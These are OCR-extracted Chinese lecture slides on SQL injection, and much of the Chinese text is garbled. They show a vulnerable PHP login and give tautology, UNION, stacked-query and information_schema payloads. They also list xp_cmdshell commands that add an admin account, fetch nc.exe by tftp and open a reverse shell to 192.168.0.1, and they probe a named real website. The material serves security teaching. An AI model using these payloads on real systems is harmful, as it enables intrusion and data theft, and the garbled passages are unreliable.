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1. SQLEIT
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5.1 SQLi&E7»

= SQL (Structured Query Language) S EIENES, X&E
SRS FRINERIEIES

" SQLEEEKEI 4L
s ZEEIENESDQL-Data Query Language SELECT

= HUERYNIE S DML-Data Manipulation Language INSERT, UPDATE,
DELETE

s FEE XIBESDDL-Data Definition Language CREATE, ALTER, DROP

» 2 18 & &l 15 = DCL-Data Control Language COMMIT WORK,
ROLLBACK WORK

AN
s SELECT sno, name, grade FROM students WHERE sno=2021200123
s SELECT %J&8 FROM Z=£& WHERE 544

||“T||
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5.2 SQLiENmiEEA
R EubpIAA P ERGUEH R EII T

4

Susername = $ GET["username"];
$password = $ GET["password"];

$sgl = "SELECT * FROM user table WHERE username = '
Susername . "' AND password = "" Spassword
Sconn = new mysqgli (...);

Sresult = Sconn->query(S$Ssql);

if (mysgl num rows (Sresult) == 0) {
echo "login failed";

} else {
echo "login successed";
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5.2 SQLiENmiEEA
w A ERuLAY AP ERSSUE R EII T

= RFIRAYEIN .
= EARFREBA T OR1=1--
= EERIIERIA 12345
= 153KHYURL :

http://www.some.site/login.php?username=%27%200R%201%3D1 -~
&password=123456

" N BEFARSQLUETE:

SELECT * FROM user table WHERE username = '' OR 1=1--

XMEARIPITEREMTA?



5.2 SQLFE N jmiRETA

" EX: SQLEANREE—MEHAEEIANRE, OISR
FRFEERRRYRIAN, RIS HRITRISQLIIZAR, £ HIER
iR MBS EII LESMISQLIERITTER, (15
SIEERS S=RTAERNIIES

" SO A ERENNSNEREFT, TITRFRAES
i, HEEREEHRAZISQLUEKETF, KIXFSZMNA
IR ERERISIEEIRS s A T. WGBTS
BN, FUTIEFHARIE X




5.3 SQLENRIREAIZZS

" SQLEANI TG /9425
= SQL Manipulation (SQLIZY\)
= Code Injection ({SAZ;EN)
= Function Call (REUER)
= Buffer Overflows (&HXEE)




SQL Manipulation (SQLIEZ\)

" BN IEEI
(WIUNION, INTERSECTIONZKMINUS) ¥ ESQLES, kZ|

N EIHEIEE
=

£l

= [FURSQLIED:

SELECT product name FROM all products WHERE product name
LIKE '%{product name}%'

" WEEEEERISQLIESR]

SELECT product name FROM all products WHERE product name
LIKE '%chairs' UNION SELECT username FROM user_table WHERE
username LIKE '$';

Z B INwhere o FRIFRAE HESRIERT

HYEHRY

SELECT product name FROM all products WHERE product name
LIKE '%chairs' UNION SELECT password FROM user table WHERE
username LIKE 'uvs';



Code Injection (fTHEiEAN)
s BV BEEREEIARSQLEA R MISQLEASE

FAFAN
AR<s

l

IR
= EIASQLIER)

SELECT * FROM user table WHERE username='{username}' AND
password="'{password}"';

» WA R ERISQLIES]

SELECT * FROM user table WHERE username='bob' AND
password="'123456"'; DELETE FROM user table WHERE
username="'admin'



5.4 SQLEN;
o AR TS

s &I
= (SRS
= SCHEI

—

o

EHYIN G



I EIE
= SQLENRES LAFEET At ss, 18EFrE el IR 5
(5XSSZE)
= WebIUEAAJForm

= URLIESKAPRIBIARZSEL
= 7ERSRELE AR Cookie P2 iERY(E

. LEIENSFFH
" SRR ) # |+ >
= SQLAYRBFIAKR D bR
« 1ab%09, carriage return%13, linefeed%10, space%32
 and, or, update, insert, exec, ...

= SEAFIESK' waitfordelay '0:0:10'--




y3 b
s =5 LAHTTP://xxx.xxx.xxx/abc.php?p=YYJ34jl

BEPHPHIZARRSQLIEG) SR AU T
select * from ZF£&g where FE&=YY

= IJLIAT=1, 1=2lhaGE NS QLEAZ B FE

HTTP://xxx.xxx.xxx/abc.php?p=YY’

SQLIEA]: select * from F&Zwhere FFEZ=YY’ Z=TES
HTTP://xxx.xxx.xxx/abc.php?p=YY and 1=1 — i,
. IZ1T1ES
SQLIEG]: select * from FELZwhere FEZ=YY and 1=1
. D= = — /=,
HTTP://xxx.xxx.xxx/abc.php?p=YY and 1=2 ST e

SQLIEG]: select * from FELZwhere FE&=YY and 1=2

SIRLAE=22miFE, abc.phpF—EFESQLENFIE


http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY

SEWE

" NENEHEEEA RN EGEDE, ©REXFIXIEF, LB
— AT ERR AR RS 2R2RE, HIan:

=« MS SQL ServerGuser, db name(EXF#LTE, FAXLERSEATLL
Flr BiniRSS s 25 2E5QL Server , A0:

« HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0
« HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0
« AL FIEEEHEMY SQLAIRA S 2524
« HTTP://xxx xxx.xxx/abc.asp?p=YY and
substring(@@version,1,1)=4

L4

A LAFRS A4 EE R H A E) R EE AR S5 RaHITE SUHLE
I RIIREEMN AVEHELOR B B ir iz iR S5 =8



SCRtBIN o

 SEHREUREESR. . NTIKEEERE, SQLENNGEEBHEFHIUR
SERIERS, BHRPHBINTERE, BHRFIIBFRICRNS...
s 5% BIAYER:admin adminuser user pass password Z..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---HFrEEFEadminiXsk3E
» EIKSEE WRIER0< IR[EIEHRE 1<REIEERREIRBKSHE ]

0

and O<(select count(*) from admin)
and T<(select count(*) from admin)

R FREA fElen() BEEmEmNNEFHIVERINFTERAFR.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(FBP=E&ZFRkname)>0)
and 1=(select count(*) from admin where len(_blank>ZEFEREFR
password)>0)

« OJRIFEEIC TR (Hltlsqimap) EHETLAETE



SCRtBIN o

o — RIS T TRt AR E B T A E SR E RIS RS
=8. Bla0: MySQLFinformation_schema#iEERFFERR. F
BREHER.

> SR B R RS R P B R R

http://.../union.php?id=-1union select 1, group_concat(char(32,58,32),schema_name), 3
from information_schema.schemata

> N BsecurityBI &R HIRENTE RS |

http://.../union.php?id=-1union select 1, group_concat(char(32,58,32),table_name), 3 from
information schema.tables where table schema="'security’

> $REemailsz=RFRIFTEFRA:
http://...../union.php?id=-1union select 1,group_concat(char(32,58,32),column_name),3
from information_schema.columns where table schema='security' and
table_name='emails'



SCRtBIN o

" EMS SQL Serverdr, HIRIEEHIREIKSEEGSATIR, H
masterdbo.xp_cmdshell BEFEEERE (FALUEEIRZEAILIE
EEFIRIER FRYshell) BEEIEREINIT, NWeJLUBIE LA G AR
R ERS =T B

m HTTP://xxxxxx.xxx/abc.asp?p=YY; exec masterdbo.xp _cmdshell ‘net user aaa
/add’--

m HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec masterdbo.xp_cmdshell ‘net localgroup
administrators aaa /add’ --

m HTTP://xxxxxx.xxx/abc.asp?p=YY; exec master.xp_cmdshell ‘nslookup xxx
192.168.0.1'--

m HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec master.xp cmdshell ‘tftp =1 192.168.0.1 GET
nc.exe c\nc.exe'--

m HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec master.xp cmdshell ‘C:\nc.exe 192.168.0.1
53 —e cmd.exe’--
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5.5 7~ffll: FIFAASQLIENRKIRKE
" AR
http://weixiao.nickboy.cc/wall/post/gh 77aef1d9cf297?
openid=oZ I DK4g&vid=8b7f0d
al N f2&umedia id=gh 77aef1d9cf

298.cid=1026378 content=abcd&picurl=&nickname=

Ll
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5.5 ™51 FASQLENITIRINE

» EAME: media id=gh 77aef1d9c¢f29

Ll

http://weixiao.nickboy.cc/wall/post/gh_77aef1d9cf29?
openid=0Zpm305PLKFhgnk7eXujlDK3DK4g&vid=8b7f0daa3b1325f803c8648935ace?
f2&media_id=gh_ 77aef1d9cf29'&cid=102637&content=abcde&picurl=&nickname=



EEMRHEEERRA INNAEETTRE XXIEEER

1%

S8

AppldF[JAppSecret

EE M FRARSS
4 . R A KIS
medle OIS ) (BEmedia jdi0sER)
4= FH A (media_id, pass, openid)
REhgEZER

EfHEAZ S (media_id)

u%YWW(AppId, AppSecret)*

i GRBPRoend . s Emropen i RENBINSH ST
% ) A FEME=(media_id, openid, vid, message) g
oe . BENLF(media_id, cid) -\-ﬁ-lﬁ

iifo RENET

v



| 56 SQUENRRIINSS
s TRERSImIER (asp. jsp. phpZE) Bx, MWEH
AR TEIEEEE (HINJEARIsNumericBRECEIGE
NIZABFHSHEGE— T HFZ=HEE, s AENZE
AL — N EH R R ESES)
» (R SS TR R P ANME SRR FIEEEL
BIEETEFASQLENN TS BEE)
" E13ISQLIEANBNARISE (2IWBERSQLIENEH) |
{ERSEERHE NG

FefRsS=s (fiE

I




